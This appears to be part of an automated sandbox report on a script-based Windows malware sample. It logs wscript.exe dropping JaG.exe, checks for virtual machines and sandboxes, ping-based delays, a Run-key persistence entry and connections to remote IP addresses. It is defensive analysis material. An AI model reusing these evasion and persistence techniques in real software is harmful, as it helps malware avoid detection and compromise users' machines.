Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: JaG.exe PID: 8168, type: MEMORYSTR

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk

Tries to delay execution (extensive OutputDebugStringW loop)

Source: C:\Users\user\AppData\Local\Temp\JaG.exe

Section loaded: OutputDebugStringW count: 271

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 65
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 72
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 65
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 72

Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 24F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 26A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 46A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 56E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 4F50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 66E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 76E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 7930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 56E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 66E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 7930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 8930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 56E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 66E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 56E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 66E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 8930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 9930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: A930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 76E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 76E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 76E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 76E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 86E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Memory allocated: 96E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JaG.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Window / User API: threadDelayed 8427			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Window / User API: threadDelayed 1355			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -59890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -59778s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -59672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -59562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -59453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -59344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -59219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -59109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -59000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -58890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -58779s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -58671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -58562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -58453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -58344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -58219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -58109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -58000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -57890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -57781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -57672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -57562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -57451s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -57344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -57234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -57125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -57016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -56890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -56781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -56672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -56562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -56452s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -56343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -56234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -56125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -56015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -55906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -55797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -55687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -55577s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -55469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -55344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -55234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -55125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -55015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -54906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -54797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -54685s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe TID: 7916	Thread sleep time: -54578s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE TID: 3292	Thread sleep count: 63 > 30
Source: C:\Windows\SysWOW64\PING.EXE TID: 3292	Thread sleep time: -63000s >= -30000s

Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 59890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 59778	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 59672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 59562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 59453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 59344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 59219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 59109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 59000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 58890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 58779	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 58671	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 58562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 58453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 58344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 58219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 58109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 58000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 57890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 57781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 57672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 57562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 57451	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 57344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 57234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 57125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 57016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 56890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 56781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 56672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 56562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 56452	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 56343	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 56234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 56125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 56015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 55906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 55797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 55687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 55577	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 55469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 55344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 55234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 55125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 55015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 54906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 54797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 54685	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Thread delayed: delay time: 54578	Jump to behavior

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: wscript.exe, 00000003.00000002.2596806001.000001E9CD3A6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1682858553.000001E9CD3A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!~
Source: wscript.exe, 00000004.00000002.1376649836.000001A8A2802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: JaG.exe, 00000005.00000002.2290405716.00000000038D1000.00000004.00000800.00020000.00000000.sdmp, JaG.exe, 00000005.00000002.2291109531.0000000004C30000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VBoxTray
Source: JaG.exe, 00000005.00000002.2291109531.0000000004C30000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: sandboxierpcssGSOFTWARE\VMware, Inc.\VMware VGAuth
Source: wscript.exe, 00000001.00000003.1344575852.000002BF1373C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: wscript.exe, 00000001.00000002.1345634293.000002BF11564000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343866311.000002BF11564000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343333967.000002BF11564000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: wscript.exe, 00000008.00000002.2596539768.000001F861C6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@s
Source: wscript.exe, 00000001.00000002.1346003747.000002BF13702000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.2596806001.000001E9CD34B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.2596806001.000001E9CD3A6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1682858553.000001E9CD3A6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1682858553.000001E9CD346000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.2596539768.000001F861CDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000004.00000002.1376649836.000001A8A2802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: wscript.exe, 00000001.00000003.1343333967.000002BF1153F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1345634293.000002BF11544000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1343866311.000002BF11544000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~I

Source: C:\Users\user\AppData\Local\Temp\JaG.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\wscript.exe

File created: JaG.exe.4.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 172.245.208.13 80			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 104.168.7.12 6892

Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rwinmgmts:\\localhost\root\securitycenter2pac/h	memstr_9d36048c-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: invalid root in registry key "hkey_local_machine\software\microsoft\windows\currentversion\run\adobe".	memstr_5669bfc1-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: invalid root in registry key "hkey_local_machine\software\microsoft\windows\currentversion\run\adobe".2	memstr_cb3ea9b6-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: invalid root in registry key "hkey_local_machine\software\microsoft\windows\currentversion\run\adobe".$	memstr_f7101567-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\system tools\desktop.ini	memstr_46f389bb-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: common start menu	memstr_57a88e6f-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :\adobe.js	memstr_c7555182-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appdata\roaming	memstr_61789d7a-6
